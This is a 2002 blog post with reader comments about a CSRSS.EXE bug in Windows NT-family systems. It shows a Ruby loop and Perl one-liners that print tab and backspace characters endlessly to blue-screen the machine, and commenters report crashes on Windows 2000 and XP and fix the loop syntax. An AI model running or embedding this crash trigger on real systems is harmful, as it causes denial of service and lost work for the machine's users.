I can blue screen NT in 1 line

jjohn on 2002-08-23T12:38:52

"I hate windows!"

"Bill Gates sux0rz!"

"Not going to pay the Microshaft tax!"

It is popular to hate Microsoft products these days. Some claim that their hard feelings are rooted in the monopolistic practices of Microsoft. Some cite the instability in the OS as a reason for ire. Still others believe that Bill Gates is the Devil himself. For all the talk, what are you doing to get back at Microsoft?

The Summer 2002 edition of 2600 magazine provides some tips.

Many (all?) NT derived systems run a program called CSRSS.EXE that controls terminal screens. Any program that spews text to STDOUT uses this programming. Someone discovered an awesome bug in this program that allows the following program to blue screen an NT box.

while 1 
   print("hungup\t\b\b\b\b\b\b");
end

This bit of Ruby code exploits CSRSS.EXE's poor handling of backspaces following tab characters. Since this cries out for a Perl one-liner:

perl -e 'while(1){ print "hungup\t\b\b\b\b\b\b" }'

I have verified that this will take down my XP machine. And, it felt good.

Lest someone mistake me for a terrorist, I'm only advocating destruction of your personal property. I am, however, advocating extreme abuse of your personal property. Have fun.

Update: Jordan corrected my foolish one-liner bug.


Crashes W2K!

jordan on 2002-08-23T13:52:45

I just crashed my own computer!

I'm using cygwin Perl and interestingly, it doesn't crash it when run under cygwin bash, but does when run under the old command.com/MSDOS prompt. Cygwin bash must not use the offending module for output, or does something else that prevents the problem.

One correction. I think you meant:

perl -e 'while(1){print "\b\t\t\t\t\t\t"}'

'for(1)' doesn't loop, which seems to be required.
The above actually doesn't work either under command.com because of a quoting problem, but:

C:\>perl
while(1){print "\b\t\t\t\t\t\t" }
^Z

Goes boom!

Re:Crashes W2K!

jjohn on 2002-08-23T15:07:13

'for(1)' doesn't loop, which seems to be required. The above actually doesn't work either under command.com because of a quoting problem, but:

stot's it sapricely! Er, that's it precisely! I'll make the change now.

Re:Crashes W2K!

bart on 2002-08-24T09:35:54

I think you meant:

perl -e 'while(1){print "\b\t\t\t\t\t\t"}'

'for(1)' doesn't loop, which seems to be required.

Indeed, 'for(1)' goes through the loop only once. But 'for(;;)' loops forever.